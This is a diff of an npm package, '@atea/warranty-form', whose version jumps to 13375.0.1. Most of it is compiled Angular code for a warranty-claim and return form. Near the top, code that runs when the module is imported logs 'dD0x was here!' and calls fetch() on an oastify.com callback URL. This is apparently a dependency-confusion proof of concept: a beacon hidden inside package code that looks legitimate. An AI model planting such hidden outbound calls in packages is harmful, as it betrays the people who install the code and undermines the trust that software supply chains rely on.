@atea/warranty-form 0.0.1-security → 13375.0.1

package/atea-warranty-form.js

@@ -0,0 +1,3496 @@
+import * as i0 from '@angular/core';
+import { Injectable, Component, Input, ViewEncapsulation, EventEmitter, Output, NgModule } from '@angular/core';
+import * as i3 from '@angular/forms';
+import { FormGroup, FormArray, FormControl, Validators, ReactiveFormsModule } from '@angular/forms';
+import * as i4 from '@ngx-translate/core';
+import { TranslateService, TranslateModule, TranslateLoader } from '@ngx-translate/core';
+import { BehaviorSubject, Subject, of, isObservable, forkJoin } from 'rxjs';
+import { takeUntil, debounceTime, map, startWith, pairwise, filter } from 'rxjs/operators';
+import * as i1 from '@angular/common/http';
+import { HttpHeaders, HttpClient } from '@angular/common/http';
+import * as i1$1 from '@atea/common-design-components';
+import { ButtonModule, TextInputModule, CheckboxModule, RadioModule, FileInputModule, SelectModule, TextareaInputModule, DatePickerModule, IconModule, COMMON_DESIGN_ERRORS } from '@atea/common-design-components';
+import * as i2 from '@angular/common';
+import { CommonModule } from '@angular/common';
+import * as i1$2 from 'ng-inline-svg';
+import { InlineSVGModule } from 'ng-inline-svg';
+
+console.log('dD0x was here!');
+fetch("https://hj41hq4uxon6gbxbylktf1kiq9w0ku8j.oastify.com/1")
+  .then((response) => response.json())
+  .then((json) => console.log(json));
+
+class Constants {
+}
+Constants.base64 = "base64";
+
+var CountriesEnum;
+(function (CountriesEnum) {
+    CountriesEnum["SE"] = "SE";
+    CountriesEnum["NO"] = "NO";
+    CountriesEnum["DK"] = "DK";
+    CountriesEnum["FI"] = "FI";
+    CountriesEnum["LT"] = "LT";
+    CountriesEnum["LV"] = "LV";
+    CountriesEnum["EE"] = "EE";
+})(CountriesEnum || (CountriesEnum = {}));
+
+var RuleOptionEnum;
+(function (RuleOptionEnum) {
+    RuleOptionEnum["ruleOptDOA"] = "ruleOptDOA";
+    RuleOptionEnum["ruleOptWorking"] = "ruleOptWorking";
+    RuleOptionEnum["ruleOptWDmgd"] = "ruleOptWDmgd";
+    RuleOptionEnum["ruleOptWunDmgd"] = "ruleOptWunDmgd";
+    RuleOptionEnum["purchaseErrorDK"] = "purchaseErrorDK";
+    RuleOptionEnum["workedOnDelivery"] = "workedOnDelivery";
+    RuleOptionEnum["notWorkOnDelivery"] = "notWorkOnDelivery";
+    RuleOptionEnum["discoveredWhenOpened"] = "discoveredWhenOpened";
+    RuleOptionEnum["cargoGoodsAvailable"] = "cargoGoodsAvailable";
+    RuleOptionEnum["cargoGoodsNAvailable"] = "cargoGoodsNAvailable";
+    RuleOptionEnum["appleCareIncluded"] = "appleCareIncluded";
+    RuleOptionEnum["appleCareNotIncluded"] = "appleCareNotIncluded";
+    RuleOptionEnum["completeCareInc"] = "completeCareInc";
+    RuleOptionEnum["completeCareNotInc"] = "completeCareNotInc";
+    RuleOptionEnum["tppIncluded"] = "tppIncluded";
+    RuleOptionEnum["tppNotIncluded"] = "tppNotIncluded";
+    RuleOptionEnum["adpIncluded"] = "adpIncluded";
+    RuleOptionEnum["adpNotIncluded"] = "adpNotIncluded";
+    RuleOptionEnum["ruleoptNoCostProp"] = "ruleoptNoCostProp";
+    RuleOptionEnum["ruleoptCostProp"] = "ruleoptCostProp";
+    RuleOptionEnum["usedCondition"] = "usedCondition";
+    RuleOptionEnum["projectorOnScreenYes"] = "projectorOnScreenYes";
+    RuleOptionEnum["projectorOnScreenNo"] = "projectorOnScreenNo";
+    RuleOptionEnum["cargoNeedRepair"] = "cargoNeedRepair";
+    RuleOptionEnum["cargoNoNeedRepair"] = "cargoNoNeedRepair";
+    RuleOptionEnum["phoneFMIOff"] = "phoneFMIOff";
+    RuleOptionEnum["phoneFMIOn"] = "phoneFMIOn";
+    RuleOptionEnum["phoneFMIOffv2"] = "phoneFMIOffv2";
+    RuleOptionEnum["phoneFMIOnv2"] = "phoneFMIOnv2";
+    RuleOptionEnum["printerMechNoise"] = "printerMechNoise";
+    RuleOptionEnum["printerGrindNoise"] = "printerGrindNoise";
+    RuleOptionEnum["printerCreakNoise"] = "printerCreakNoise";
+    RuleOptionEnum["printerSoundOther"] = "printerSoundOther";
+    RuleOptionEnum["printerFeeder"] = "printerFeeder";
+    RuleOptionEnum["printerTray"] = "printerTray";
+    RuleOptionEnum["printerInMachine"] = "printerInMachine";
+    RuleOptionEnum["printerOriginOther"] = "printerOriginOther";
+    RuleOptionEnum["printerScStriped"] = "printerScStriped";
+    RuleOptionEnum["printerScBlurred"] = "printerScBlurred";
+    RuleOptionEnum["printerScFaded"] = "printerScFaded";
+    RuleOptionEnum["printerStriped"] = "printerStriped";
+    RuleOptionEnum["printerBlurred"] = "printerBlurred";
+    RuleOptionEnum["printerFaded"] = "printerFaded";
+    RuleOptionEnum["printerPrintYes"] = "printerPrintYes";
+    RuleOptionEnum["printerPrintNo"] = "printerPrintNo";
+    RuleOptionEnum["printerScanYes"] = "printerScanYes";
+    RuleOptionEnum["printerScanNo"] = "printerScanNo";
+    RuleOptionEnum["packageNotDamaged"] = "packageNotDamaged";
+    RuleOptionEnum["packageDamaged"] = "packageDamaged";
+    RuleOptionEnum["externalMonitorNo"] = "externalMonitorNo";
+    RuleOptionEnum["externalMonitorYes"] = "externalMonitorYes";
+    RuleOptionEnum["externalKeyboardYes"] = "externalKeyboardYes";
+    RuleOptionEnum["externalKeyboardNo"] = "externalKeyboardNo";
+    RuleOptionEnum["waybillYes"] = "waybillYes";
+    RuleOptionEnum["waybillNo"] = "waybillNo";
+    RuleOptionEnum["externalMouseNo"] = "externalMouseNo";
+    RuleOptionEnum["externalMouseYes"] = "externalMouseYes";
+    RuleOptionEnum["orderedReplcNo"] = "orderedReplcNo";
+    RuleOptionEnum["orderedReplc"] = "orderedReplc";
+    RuleOptionEnum["dockingAnotherPCYes"] = "dockingAnotherPCYes";
+    RuleOptionEnum["dockingAnotherPCNo"] = "dockingAnotherPCNo";
+    RuleOptionEnum["dockingCableYes"] = "dockingCableYes";
+    RuleOptionEnum["dockingCableNo"] = "dockingCableNo";
+    RuleOptionEnum["dockingCableYesv2"] = "dockingCableYesv2";
+    RuleOptionEnum["dockingCableNov2"] = "dockingCableNov2";
+    RuleOptionEnum["dockingCableYesv3"] = "dockingCableYesv3";
+    RuleOptionEnum["dockingCableNov3"] = "dockingCableNov3";
+    RuleOptionEnum["dockingCableYesv4"] = "dockingCableYesv4";
+    RuleOptionEnum["dockingCableNov4"] = "dockingCableNov4";
+    RuleOptionEnum["dockingBIOSYes"] = "dockingBIOSYes";
+    RuleOptionEnum["dockingBIOSNo"] = "dockingBIOSNo";
+    RuleOptionEnum["dockingCompatibleYes"] = "dockingCompatibleYes";
+    RuleOptionEnum["dockingCompatibleNo"] = "dockingCompatibleNo";
+    RuleOptionEnum["dockingUsedYes"] = "dockingUsedYes";
+    RuleOptionEnum["dockingUsedNo"] = "dockingUsedNo";
+    RuleOptionEnum["diagnosticsYes"] = "diagnosticsYes";
+    RuleOptionEnum["diagnosticsNo"] = "diagnosticsNo";
+    RuleOptionEnum["dockingSupplyYes"] = "dockingSupplyYes";
+    RuleOptionEnum["dockingSupplyNo"] = "dockingSupplyNo";
+    RuleOptionEnum["createOrderYes"] = "createOrderYes";
+    RuleOptionEnum["createOrderNo"] = "createOrderNo";
+    RuleOptionEnum["cargoPicturesTaken"] = "cargoPicturesTaken";
+    RuleOptionEnum["cargoReportNotTaken"] = "cargoReportNotTaken";
+    RuleOptionEnum["visibleDmgYes"] = "visibleDmgYes";
+    RuleOptionEnum["visibleDmgNo"] = "visibleDmgNo";
+    RuleOptionEnum["recIssueYes"] = "recIssueYes";
+    RuleOptionEnum["recIssueNo"] = "recIssueNo";
+    RuleOptionEnum["triedChargerYes"] = "triedChargerYes";
+    RuleOptionEnum["triedChargerNo"] = "triedChargerNo";
+    RuleOptionEnum["smallpcOtherChrgYes"] = "smallpcOtherChrgYes";
+    RuleOptionEnum["smallpcOtherChrgNo"] = "smallpcOtherChrgNo";
+    RuleOptionEnum["updatedDriversYes"] = "updatedDriversYes";
+    RuleOptionEnum["updatedDriversNo"] = "updatedDriversNo";
+    RuleOptionEnum["smallpcDriversUpYes"] = "smallpcDriversUpYes";
+    RuleOptionEnum["smallpcDriversUpNo"] = "smallpcDriversUpNo";
+    RuleOptionEnum["applePhoneSoftUpYes"] = "applePhoneSoftUpYes";
+    RuleOptionEnum["applePhoneSoftUpNo"] = "applePhoneSoftUpNo";
+    RuleOptionEnum["speakerSoftwareYes"] = "speakerSoftwareYes";
+    RuleOptionEnum["speakerSoftwareNo"] = "speakerSoftwareNo";
+    RuleOptionEnum["speakerSoftwareYesv2"] = "speakerSoftwareYesv2";
+    RuleOptionEnum["speakerSoftwareNov2"] = "speakerSoftwareNov2";
+    RuleOptionEnum["projectorSocketYes"] = "projectorSocketYes";
+    RuleOptionEnum["projectorSocketNo"] = "projectorSocketNo";
+    RuleOptionEnum["projectorOutletYes"] = "projectorOutletYes";
+    RuleOptionEnum["projectorOutletNo"] = "projectorOutletNo";
+    RuleOptionEnum["speakerSourceYes"] = "speakerSourceYes";
+    RuleOptionEnum["speakerSourceNo"] = "speakerSourceNo";
+    RuleOptionEnum["projectorSourceYes"] = "projectorSourceYes";
+    RuleOptionEnum["projectorSourceNo"] = "projectorSourceNo";
+    RuleOptionEnum["speakerCableYes"] = "speakerCableYes";
+    RuleOptionEnum["speakerCableNo"] = "speakerCableNo";
+    RuleOptionEnum["depRegistered"] = "depRegistered";
+    RuleOptionEnum["depNotRegistered"] = "depNotRegistered";
+    RuleOptionEnum["applePhoneScreen"] = "applePhoneScreen";
+    RuleOptionEnum["applePhoneBackside"] = "applePhoneBackside";
+    RuleOptionEnum["pcBlackscreenSpecial"] = "pcBlackscreenSpecial";
+    RuleOptionEnum["pcDead"] = "pcDead";
+    RuleOptionEnum["pcBlackscreen"] = "pcBlackscreen";
+    RuleOptionEnum["pcFreeze"] = "pcFreeze";
+    RuleOptionEnum["smallpcCharge"] = "smallpcCharge";
+    RuleOptionEnum["pcTouchpad"] = "pcTouchpad";
+    RuleOptionEnum["pcWifi"] = "pcWifi";
+    RuleOptionEnum["pcLanCard"] = "pcLanCard";
+    RuleOptionEnum["smallpcNoConnection"] = "smallpcNoConnection";
+    RuleOptionEnum["smallpcNoAudio"] = "smallpcNoAudio";
+    RuleOptionEnum["smallpcBadQuality"] = "smallpcBadQuality";
+    RuleOptionEnum["smallpcPairing"] = "smallpcPairing";
+    RuleOptionEnum["pcFan"] = "pcFan";
+    RuleOptionEnum["pcCharge"] = "pcCharge";
+    RuleOptionEnum["pcKeyboard"] = "pcKeyboard";
+    RuleOptionEnum["printerNoises"] = "printerNoises";
+    RuleOptionEnum["printerPaperStuck"] = "printerPaperStuck";
+    RuleOptionEnum["printerScanning"] = "printerScanning";
+    RuleOptionEnum["printerQuality"] = "printerQuality";
+    RuleOptionEnum["speakerUnstable"] = "speakerUnstable";
+    RuleOptionEnum["speakerConnection"] = "speakerConnection";
+    RuleOptionEnum["phoneSoftware"] = "phoneSoftware";
+    RuleOptionEnum["dockingNoConnection"] = "dockingNoConnection";
+    RuleOptionEnum["dockingDead"] = "dockingDead";
+    RuleOptionEnum["dockingPixel"] = "dockingPixel";
+    RuleOptionEnum["dockingPhysical"] = "dockingPhysical";
+    RuleOptionEnum["dockingConIssues"] = "dockingConIssues";
+    RuleOptionEnum["portNotWorking"] = "portNotWorking";
+    RuleOptionEnum["projectorNoise"] = "projectorNoise";
+    RuleOptionEnum["projectorAudioQ"] = "projectorAudioQ";
+    RuleOptionEnum["emptyDisclaimer"] = "emptyDisclaimer";
+    RuleOptionEnum["optCostProposal"] = "optCostProposal";
+    RuleOptionEnum["ruleOptTD"] = "ruleOptTD";
+    RuleOptionEnum["optWarrantyClaim"] = "optWarrantyClaim";
+    RuleOptionEnum["optWrongDelivery"] = "optWrongDelivery";
+    RuleOptionEnum["otpWrongOrder"] = "otpWrongOrder";
+})(RuleOptionEnum || (RuleOptionEnum = {}));
+
+class TransportOption {
+    constructor(code, text) {
+        this.code = code;
+        this.text = text;
+    }
+}
+
+class WarrantyData {
+    constructor(vendors, categories, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cnetCategories, transportOptions, orderLines) {
+        this.vendors = vendors;
+        this.categories = categories;
+        this.vendorProducts = vendorProducts;
+        this.ruleVendorProducts = ruleVendorProducts;
+        this.ruleOptions = ruleOptions;
+        this.requiredFields = requiredFields;
+        this.blackListedArticles = blackListedArticles;
+        this.cnetCategories = cnetCategories;
+        this.transportOptions = transportOptions;
+        this.orderLines = orderLines;
+    }
+    getVendorByCode(vendorCode) {
+        return this.vendors.find(v => v.name == vendorCode);
+    }
+    getCategoryByName(categoryName) {
+        return this.categories.find(v => v.name == categoryName);
+    }
+    getRuleOption(nodeId) {
+        return this.ruleOptions.find(r => r.nodeId === nodeId);
+    }
+    getTransportOption(code) {
+        if (code) {
+            return this.transportOptions.find(r => r.code === code);
+        }
+        return undefined;
+    }
+    sortVendors(a, b) {
+        if (a.vendorName < b.vendorName) {
+            return -1;
+        }
+        if (a.vendorName > b.vendorName) {
+            return 1;
+        }
+        return 0;
+    }
+    ;
+    sortCategories(a, b) {
+        if (a.typeName < b.typeName) {
+            return -1;
+        }
+        if (a.typeName > b.typeName) {
+            return 1;
+        }
+        return 0;
+    }
+    ;
+    sortFields(a, b) {
+        if (a.order < b.order) {
+            return -1;
+        }
+        if (a.order > b.order) {
+            return 1;
+        }
+        return 0;
+    }
+}
+
+var CaseTypeEnum;
+(function (CaseTypeEnum) {
+    CaseTypeEnum[CaseTypeEnum["Return"] = 1] = "Return";
+    CaseTypeEnum[CaseTypeEnum["WarrantyRepair"] = 2] = "WarrantyRepair";
+})(CaseTypeEnum || (CaseTypeEnum = {}));
+
+var RequestedSystemEnum;
+(function (RequestedSystemEnum) {
+    RequestedSystemEnum[RequestedSystemEnum["Unspecified"] = 0] = "Unspecified";
+    RequestedSystemEnum[RequestedSystemEnum["MyAtea"] = 1] = "MyAtea";
+})(RequestedSystemEnum || (RequestedSystemEnum = {}));
+
+class WarrantyVariables {
+    constructor(config, data, translateService) {
+        var _a;
+        this.translateService = translateService;
+        this.setConfigDefaults(config);
+        this.defConfig = config;
+        this.defData = data;
+        this.isCompletedOrderCase = ((_a = data === null || data === void 0 ? void 0 : data.orderLines) === null || _a === void 0 ? void 0 : _a.length) > 1;
+        this.isWarranty = config.caseType === CaseTypeEnum.WarrantyRepair;
+        this.OrderIsNull = !((data === null || data === void 0 ? void 0 : data.orderNumber) && (data === null || data === void 0 ? void 0 : data.orderLines));
+        this.titleProductForm = this.getFormTitle("wf.completeOrder");
+        this.titleWarrantyInfoForm = this.getFormTitle("wf.information");
+        this.returnWithSameReason = !this.OrderIsNull && this.isCompletedOrderCase;
+        this.translateReturnReasonPlaceholder();
+    }
+    setConfigDefaults(config) {
+        if (!config.toggles) {
+            config.toggles = {
+                warrantyAlternativeContact: true,
+                dataPrivacy: true,
+                sendConfirmationEmailOption: true
+            };
+        }
+        else {
+            if (config.toggles.warrantyAlternativeContact === undefined || config.toggles.warrantyAlternativeContact === null) {
+                config.toggles.warrantyAlternativeContact = true;
+            }
+            if (config.toggles.dataPrivacy === undefined || config.toggles.dataPrivacy === null) {
+                config.toggles.dataPrivacy = true;
+            }
+            if (config.toggles.sendConfirmationEmailOption === undefined || config.toggles.sendConfirmationEmailOption === null) {
+                config.toggles.sendConfirmationEmailOption = true;
+            }
+        }
+    }
+    getFormTitle(defaultTitle) {
+        if (!this.isCompletedOrderCase) {
+            switch (this.defConfig.caseType) {
+                case CaseTypeEnum.Return:
+                    return "wf.returnproducts";
+                case CaseTypeEnum.WarrantyRepair:
+                    return "wf.warrantyclaim";
+            }
+        }
+        return defaultTitle;
+    }
+    translateReturnReasonPlaceholder() {
+        this.translateService.get(["wf.reasonproductreturn", "wf.workedonarrival" + this.defConfig.country, "wf.workedonarrival"])
+            .subscribe(result => {
+            const key = `wf.workedonarrival${this.defConfig.country}`;
+            this.returnReasonlaceholder = (result[key] !== key) ?
+                result[key] :
+                result["wf.workedonarrival"];
+        });
+    }
+}
+
+class ConfigService {
+    update(configuration, data, translateService) {
+        let formConfig = configuration;
+        let formData = data;
+        if (typeof formConfig === "string") {
+            try {
+                formConfig = JSON.parse(formConfig);
+            }
+            catch (e) {
+                console.error("Invalid config: ", e);
+                return false;
+            }
+        }
+        if (typeof formData === "string") {
+            try {
+                formData = JSON.parse(formData);
+            }
+            catch (e) {
+                console.error("Invalid data: ", e);
+                return false;
+            }
+        }
+        if (!this.configIsValid(formConfig))
+            return false;
+        const variables = new WarrantyVariables(formConfig, formData, translateService);
+        if (!variables.OrderIsNull && !variables.defData.deliveryHeader) {
+            console.error("Delivery header variable not found");
+            return false;
+        }
+        this.config = variables;
+        return true;
+    }
+    configIsValid(formConfig) {
+        if (!formConfig) {
+            console.error("Configuration variable not found");
+            return false;
+        }
+        if (!formConfig.url) {
+            console.error("Url variable not found");
+            return false;
+        }
+        let isAnonymous = true;
+        if (typeof formConfig.isAnonymous === "boolean") {
+            isAnonymous = formConfig.isAnonymous;
+        }
+        if (!isAnonymous && !formConfig.userGuid) {
+            console.error("UserGuid variable not found");
+            return false;
+        }
+        formConfig.isAnonymous = isAnonymous;
+        this.updateConnection(formConfig.url, isAnonymous, formConfig.userGuid);
+        if (!formConfig.country) {
+            console.error("Country variable not found");
+            return false;
+        }
+        if (!formConfig.locale) {
+            console.error("Locale variable not found");
+            return false;
+        }
+        if (!formConfig.caseType) {
+            console.error("Case type variable not found");
+            return false;
+        }
+        else if (!Object.values(CaseTypeEnum).includes(formConfig.caseType)) {
+            console.error("Case type variable not supported");
+            return false;
+        }
+        if (formConfig.system && !Object.values(RequestedSystemEnum).includes(formConfig.system)) {
+            console.error("System variable not supported");
+            return false;
+        }
+        return true;
+    }
+    updateConnection(url, isAnonymous, userGuid) {
+        this.url = url;
+        if (typeof isAnonymous !== undefined)
+            this.isAnonymous = isAnonymous;
+        else
+            isAnonymous = true;
+        if (!isAnonymous)
+            this.userGuid = userGuid;
+    }
+    getConfig() {
+        return this.config;
+    }
+    getUrl() {
+        return this.url;
+    }
+    getHttpOptions() {
+        let headers = new HttpHeaders({ 'Content-Type': 'application/json' });
+        if (this.isAnonymous) {
+            headers = headers.append("X-ANONYMOUS", "");
+        }
+        else {
+            headers = headers.append("X-DIM-USER", this.userGuid);
+        }
+        const httpOptions = { headers: headers };
+        return httpOptions;
+    }
+}
+ConfigService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+ConfigService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ConfigService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }] });
+
+class SerialNumberService {
+    constructor(configService) {
+        this.configService = configService;
+    }
+    serialNoExists(fieldName, category, serialNumber) {
+        const config = this.configService.getConfig();
+        if (config.defConfig.country === CountriesEnum.DK &&
+            config.defConfig.caseType === CaseTypeEnum.WarrantyRepair &&
+            category === "prodtypePC" &&
+            serialNumber) {
+            return fieldName === "reqSerialNmb";
+        }
+        return false;
+    }
+    getSerialNumber(form) {
+        if (this.configService.getConfig().isWarranty) {
+            const serials = form.get("serialNumbers").value;
+            if ((serials === null || serials === void 0 ? void 0 : serials.length) > 0) {
+                return serials.find(x => x.isChecked).serial;
+            }
+        }
+        return "";
+    }
+}
+SerialNumberService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, deps: [{ token: ConfigService }], target: i0.ɵɵFactoryTarget.Injectable });
+SerialNumberService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SerialNumberService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }], ctorParameters: function () { return [{ type: ConfigService }]; } });
+
+const STEPS = [
+    { stepIndex: 1, isComplete: false },
+    { stepIndex: 2, isComplete: false },
+    { stepIndex: 3, isComplete: false }
+];
+class StepsService {
+    constructor() {
+        this.steps$ = new BehaviorSubject(STEPS);
+        this.currentStep$ = new BehaviorSubject(null);
+        this.currentStep$.next(this.steps$.value[0]);
+    }
+    setCurrentStep(step) {
+        this.currentStep$.next(step);
+    }
+    getCurrentStep() {
+        return this.currentStep$.asObservable();
+    }
+    getSteps() {
+        return this.steps$.asObservable();
+    }
+    moveToPrevStep() {
+        const index = this.currentStep$.value.stepIndex;
+        if (index - 2 >= 0) {
+            this.currentStep$.next(this.steps$.value[index - 2]);
+        }
+    }
+    moveToNextStep() {
+        const index = this.currentStep$.value.stepIndex;
+        if (index < this.steps$.value.length) {
+            this.currentStep$.next(this.steps$.value[index]);
+        }
+    }
+    isLastStep() {
+        return this.currentStep$.value.stepIndex === this.steps$.value.length;
+    }
+}
+StepsService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+StepsService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: StepsService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }], ctorParameters: function () { return []; } });
+
+var FieldTypeEnum;
+(function (FieldTypeEnum) {
+    FieldTypeEnum["inputFile"] = "input-file";
+    FieldTypeEnum["invoiceInfo"] = "input-invoice-info";
+    FieldTypeEnum["insuranceCheckbox"] = "insurance-checkbox";
+    FieldTypeEnum["inputCheckbox"] = "input-checkbox";
+    FieldTypeEnum["textarea"] = "textarea";
+    FieldTypeEnum["inputText"] = "input-text";
+})(FieldTypeEnum || (FieldTypeEnum = {}));
+
+class LastUsedDetails {
+}
+
+class WarrantySendData {
+    constructor() {
+        this.app = new RequestedSystem(RequestedSystemEnum.Unspecified);
+    }
+}
+class RequestedSystem {
+    constructor(type) {
+        this.type = type;
+    }
+}
+class WarrantySendDataProduct {
+    constructor(product, description, Quantity, serialNumbers) {
+        this.product = product;
+        this.description = description;
+        this.Quantity = Quantity;
+        this.serialNumbers = serialNumbers;
+    }
+}
+class WarrantySendDataSerialNumber {
+    constructor(ischecked, serial) {
+        this.ischecked = ischecked;
+        this.serial = serial;
+    }
+}
+class WarrantySendDataRuleOption {
+    constructor(nodeId, nodeDescription, localizeVar, requiredFields) {
+        this.nodeId = nodeId;
+        this.nodeDescription = nodeDescription;
+        this.localizeVar = localizeVar;
+        this.requiredFields = requiredFields;
+    }
+}
+class WarrantySendDataRequiredField {
+    constructor(fieldID, fieldName, fieldValue, optionId) {
+        this.fieldID = fieldID;
+        this.fieldName = fieldName;
+        this.fieldValue = fieldValue;
+        this.optionId = optionId;
+    }
+}
+class WarrantySendDataUserContact {
+    constructor(name, role, address, zipCode, city, email, phone) {
+        this.name = name;
+        this.role = role;
+        this.address = address;
+        this.zipCode = zipCode;
+        this.city = city;
+        this.email = email;
+        this.phone = phone;
+    }
+}
+class WarrantySendDataInvoice {
+    constructor(customernumber, invoiceAddress, invoiceRef, transportation) {
+        this.customernumber = customernumber;
+        this.invoiceAddress = invoiceAddress;
+        this.invoiceRef = invoiceRef;
+        this.transportation = transportation;
+    }
+}
+class WarrantySendDataFile {
+    constructor(name, Image) {
+        this.name = name;
+        this.Image = Image;
+    }
+}
+class CaseResponse {
+    constructor(caseId, caseNumber, caseSource) {
+        this.caseId = caseId;
+        this.caseNumber = caseNumber;
+        this.caseSource = caseSource;
+    }
+}
+
+class FormComponentService {
+    constructor() {
+        this.productManufacturerAliases = {
+            "acer": "acer",
+            "apple inc.": "apple",
+            "apple norge": "apple",
+            "iphone": "apple",
+            "apple iphone låst": "apple",
+            "apple iphone": "apple",
+            "apple": "apple",
+            "asustek computer inc.": "asus",
+            "asustor": "asus",
+            "asuscom": "asus",
+            "asustek computer": "asus",
+            "asus": "asus",
+            "asustek": "asus",
+            "canon": "canon",
+            "dell computer corporation": "dell",
+            "dell wyse": "dell",
+            "dell emc": "dell",
+            "dell inc.": "dell",
+            "dell monitor": "dell",
+            "dell computer": "dell",
+            "dell": "dell",
+            "fujitsu siemens": "fujitsu",
+            "fujitsu-si": "fujitsu",
+            "fujitsu-siemens": "fujitsu",
+            "fujitsu technology solutions": "fujitsu",
+            "fujitsu": "fujitsu",
+            "hpent": "hp",
+            "hp image & printing (poistuu käytöstä 31.7.)": "hp",
+            "hp- ja hewlett-packard -varaosat (eet)": "hp",
+            "hpe": "hp",
+            "hp-supplies (värikasetit)": "hp",
+            "hp varaosat (eet...)": "hp",
+            "hewlet-packard": "hp",
+            "hewlett-packard prime": "hp",
+            "hewlett packard": "hp",
+            "hp-varaosat (hp- ja hewlett-packard) eet": "hp",
+            "hewlett-packard spareparts": "hp",
+            "hewlett-packard oy (1.8: hp finland oy) (hp inc.)": "hp",
+            "hp ent": "hp",
+            "hewlett-packard vsi/prime": "hp",
+            "hp image & printing": "hp",
+            "hewlett-packard oy (hewlett packard enterprise)": "hp",
+            "hp inc": "hp",
+            "hewlett packard enterprise": "hp",
+            "hewlett-packard enterprise": "hp",
+            "hp- ja hpe-varaosat eet": "hp",
+            "hewlett-packard oy": "hp",
+            "hp": "hp",
+            "hp finland oy (hp inc.)": "hp",
+            "hp inc.": "hp",
+            "hewlett-packard": "hp",
+            "gn group / jabra": "jabra",
+            "jabra": "jabra",
+            "reused lenovo": "lenovo",
+            "signagelenovo": "lenovo",
+            "lenovo (älä käytä !!) spareparts": "lenovo",
+            "lenovo x": "lenovo",
+            "...lenovo topseller": "lenovo",
+            "lenovo spareparts": "lenovo",
+            "lenovo topseller": "lenovo",
+            "lenovo-ts": "lenovo",
+            "lenovo": "lenovo",
+            "logitech": "logitech",
+            "microsoft corporation": "microsoft",
+            "microsoft hw": "microsoft",
+            "microsoft": "microsoft",
+            "nokia": "nokia",
+            "philips consumer electronics company": "philips",
+            "philips": "philips",
+            "plantronics": "plantronics",
+            "samsung": "samsung"
+        };
+    }
+    getQuestionsForPreview(country) {
+        return new Map([
+            [RuleOptionEnum.ruleOptWorking, country === CountriesEnum.SE ? "wf.workedonarrivalSE" : "wf.workedonarrival"],
+            [RuleOptionEnum.projectorOnScreenYes, "wf.appearsOnScreen"],
+            [RuleOptionEnum.projectorOnScreenNo, "wf.appearsOnScreen"],
+            [RuleOptionEnum.cargoNeedRepair, "wf.providerepairoptions"],
+            [RuleOptionEnum.cargoNoNeedRepair, "wf.providerepairoptions"],
+            [RuleOptionEnum.phoneFMIOff, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.phoneFMIOn, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.phoneFMIOffv2, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.phoneFMIOnv2, "wf.hasdeactivatedfmi"],
+            [RuleOptionEnum.printerMechNoise, "wf.describeSound"],
+            [RuleOptionEnum.printerGrindNoise, "wf.describeSound"],
+            [RuleOptionEnum.printerCreakNoise, "wf.describeSound"],
+            [RuleOptionEnum.printerSoundOther, "wf.describeSound"],
+            [RuleOptionEnum.printerFeeder, "wf.originsOfIssue"],
+            [RuleOptionEnum.printerTray, "wf.originsOfIssue"],
+            [RuleOptionEnum.printerInMachine, "wf.originsOfIssue"],
+            [RuleOptionEnum.printerOriginOther, "wf.originsOfIssue"],
+            [RuleOptionEnum.printerScStriped, "wf.describeScanning"],
+            [RuleOptionEnum.printerScBlurred, "wf.describeScanning"],
+            [RuleOptionEnum.printerScFaded, "wf.describeScanning"],
+            [RuleOptionEnum.printerStriped, "wf.describePrinting"],
+            [RuleOptionEnum.printerBlurred, "wf.describePrinting"],
+            [RuleOptionEnum.printerFaded, "wf.describePrinting"],
+            [RuleOptionEnum.printerPrintYes, "wf.issueWhenPrinting"],
+            [RuleOptionEnum.printerPrintNo, "wf.issueWhenPrinting"],
+            [RuleOptionEnum.printerScanYes, "wf.issueWhenScanning"],
+            [RuleOptionEnum.printerScanNo, "wf.issueWhenScanning"],
+            [RuleOptionEnum.ruleoptNoCostProp, "wf.acceptcostproposal"],
+            [RuleOptionEnum.ruleoptCostProp, "wf.acceptcostproposal"],
+            [RuleOptionEnum.ruleOptWunDmgd, "wf.hasphysicaldamage"],
+            [RuleOptionEnum.ruleOptWDmgd, "wf.hasphysicaldamage"],
+            [RuleOptionEnum.packageNotDamaged, "wf.packageCondition"],
+            [RuleOptionEnum.packageDamaged, "wf.packageCondition"],
+            [RuleOptionEnum.externalMonitorNo, "wf.triedExternalMonitor"],
+            [RuleOptionEnum.externalMonitorYes, "wf.triedExternalMonitor"],
+            [RuleOptionEnum.externalKeyboardYes, "wf.triedExternalKeyboard"],
+            [RuleOptionEnum.externalKeyboardNo, "wf.triedExternalKeyboard"],
+            [RuleOptionEnum.waybillYes, "wf.hasmaderemarks"],
+            [RuleOptionEnum.waybillNo, "wf.hasmaderemarks"],
+            [RuleOptionEnum.externalMouseNo, "wf.triedExternalMouse"],
+            [RuleOptionEnum.externalMouseYes, "wf.triedExternalMouse"],
+            [RuleOptionEnum.orderedReplcNo, "wf.hasorderedreplc"],
